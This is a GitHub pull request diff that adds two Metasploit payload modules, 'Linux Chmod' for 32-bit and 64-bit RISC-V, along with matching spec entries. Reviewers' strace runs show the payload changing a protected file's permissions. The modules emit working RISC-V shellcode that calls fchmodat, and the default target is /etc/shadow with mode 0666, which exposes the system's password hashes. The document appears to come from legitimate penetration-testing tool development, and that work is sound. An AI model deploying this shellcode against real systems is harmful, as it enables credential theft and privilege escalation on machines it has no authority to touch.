Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
73 changes: 73 additions & 0 deletions modules/payloads/singles/linux/riscv32le/chmod.rb
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

┌──(kali㉿kali)-[~/Public]
└─$ cat notreadme 
cat: notreadme: Permission denied
                                                                                                                                                      
┌──(kali㉿kali)-[~/Public]
└─$ qemu-riscv32 -strace ./chmod_32.elf 
83618 fchmodat(AT_FDCWD,"/home/kali/Public/notreadme",0777,0) = 0
83618 exit(0)
                                                                                                                                                      
┌──(kali㉿kali)-[~/Public]
└─$ cat notreadme
oh no :(
                                                                                                                                                      
┌──(kali㉿kali)-[~/Public]
└─$ 

Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
CachedSize = 52

include Msf::Payload::Single

def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Linux Chmod',
'Description' => 'Runs chmod on the specified file with specified mode.',
'Author' => 'bcoles',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_RISCV32LE,
'References' => [
['URL', 'https://man7.org/linux/man-pages/man2/fchmodat.2.html'],
['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv32/chmod/chmod.s'],
]
)
)
register_options([
OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
])
end

# @return [String] the full path of the file to be modified
def file_path
datastore['FILE'] || ''
end

# @return [Integer] the desired mode for the file
def mode
(datastore['MODE'] || '0666').oct
rescue StandardError => e
raise ArgumentError, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}"
end

# @return [Integer] RISC-V instruction to load mode into a2 register
# For example: 0x1ad00613 ; li a2,429 ; loads 429 (0o644) into a2
def chmod_instruction(mode)
(mode & 0xfff) << 20 | 0x0613
end

def generate(_opts = {})
raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0x7FF)" if mode > 0x7FF

shellcode = [
0xf9c00513, # li a0,-100
0x00000597, # auipc a1,0x0
0x02458593, # addi a1,a1,36 # 100a0 <path>
chmod_instruction(mode), # li a2,<mode>
0x00000693, # li a3,0
0x03500893, # li a7,53 # __NR_fchmodat
0x00000073, # ecall
0x00000513, # li a0,0
0x05d00893, # li a7,93 # __NR_exit
0x00000073, # ecall
].pack('V*')
shellcode += file_path + "\x00"

# align our shellcode to 4 bytes
shellcode += "\x00" while shellcode.bytesize % 4 != 0

super.to_s + shellcode
end
end
73 changes: 73 additions & 0 deletions modules/payloads/singles/linux/riscv64le/chmod.rb
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ubuntu@ubuntu:~$ chmod +x chmod_64.elf 
ubuntu@ubuntu:~$ cat notreadme 
cat: notreadme: Permission denied
ubuntu@ubuntu:~$ strace ./chmod_64.elf 
execve("./chmod_64.elf", ["./chmod_64.elf"], 0x3fcf11fd50 /* 21 vars */) = 0
fchmodat(AT_FDCWD, "/home/ubuntu/notreadme", 0777) = 0
exit(0)                                 = ?
+++ exited with 0 +++
ubuntu@ubuntu:~$ cat notreadme 
oh no :(
ubuntu@ubuntu:~$ uname -a
Linux ubuntu 6.14.0-13-generic #13.2-Ubuntu SMP PREEMPT_DYNAMIC Sun Apr  6 05:26:54 UTC 2025 riscv64 riscv64 riscv64 GNU/Linux
ubuntu@ubuntu:~$ 

Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
CachedSize = 52

include Msf::Payload::Single

def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Linux Chmod',
'Description' => 'Runs chmod on the specified file with specified mode.',
'Author' => 'bcoles',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_RISCV64LE,
'References' => [
['URL', 'https://man7.org/linux/man-pages/man2/fchmodat.2.html'],
['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv64/chmod/chmod.s'],
]
)
)
register_options([
OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
])
end

# @return [String] the full path of the file to be modified
def file_path
datastore['FILE'] || ''
end

# @return [Integer] the desired mode for the file
def mode
(datastore['MODE'] || '0666').oct
rescue StandardError => e
raise ArgumentError, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}"
end

# @return [Integer] RISC-V instruction to load mode into a2 register
# For example: 0x1ad00613 ; li a2,429 ; loads 429 (0o644) into a2
def chmod_instruction(mode)
(mode & 0xfff) << 20 | 0x0613
end

def generate(_opts = {})
raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0x7FF)" if mode > 0x7FF

shellcode = [
0xf9c00513, # li a0,-100
0x00000597, # auipc a1,0x0
0x02458593, # addi a1,a1,36 # 100a0 <path>
chmod_instruction(mode), # li a2,<mode>
0x00000693, # li a3,0
0x03500893, # li a7,53 # __NR_fchmodat
0x00000073, # ecall
0x00000513, # li a0,0
0x05d00893, # li a7,93 # __NR_exit
0x00000073, # ecall
].pack('V*')
shellcode += file_path + "\x00"

# align our shellcode to 4 bytes
shellcode += "\x00" while shellcode.bytesize % 4 != 0

super.to_s + shellcode
end
end
20 changes: 20 additions & 0 deletions spec/modules/payloads_spec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -2055,6 +2055,16 @@
reference_name: 'linux/ppc64/shell_reverse_tcp'
end

context 'linux/riscv32le/chmod' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/linux/riscv32le/chmod'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'linux/riscv32le/chmod'
end

context 'linux/riscv32le/exec' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
Expand All @@ -2075,6 +2085,16 @@
reference_name: 'linux/riscv32le/reboot'
end

context 'linux/riscv64le/chmod' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/linux/riscv64le/chmod'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'linux/riscv64le/chmod'
end

context 'linux/riscv64le/exec' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
Expand Down
Loading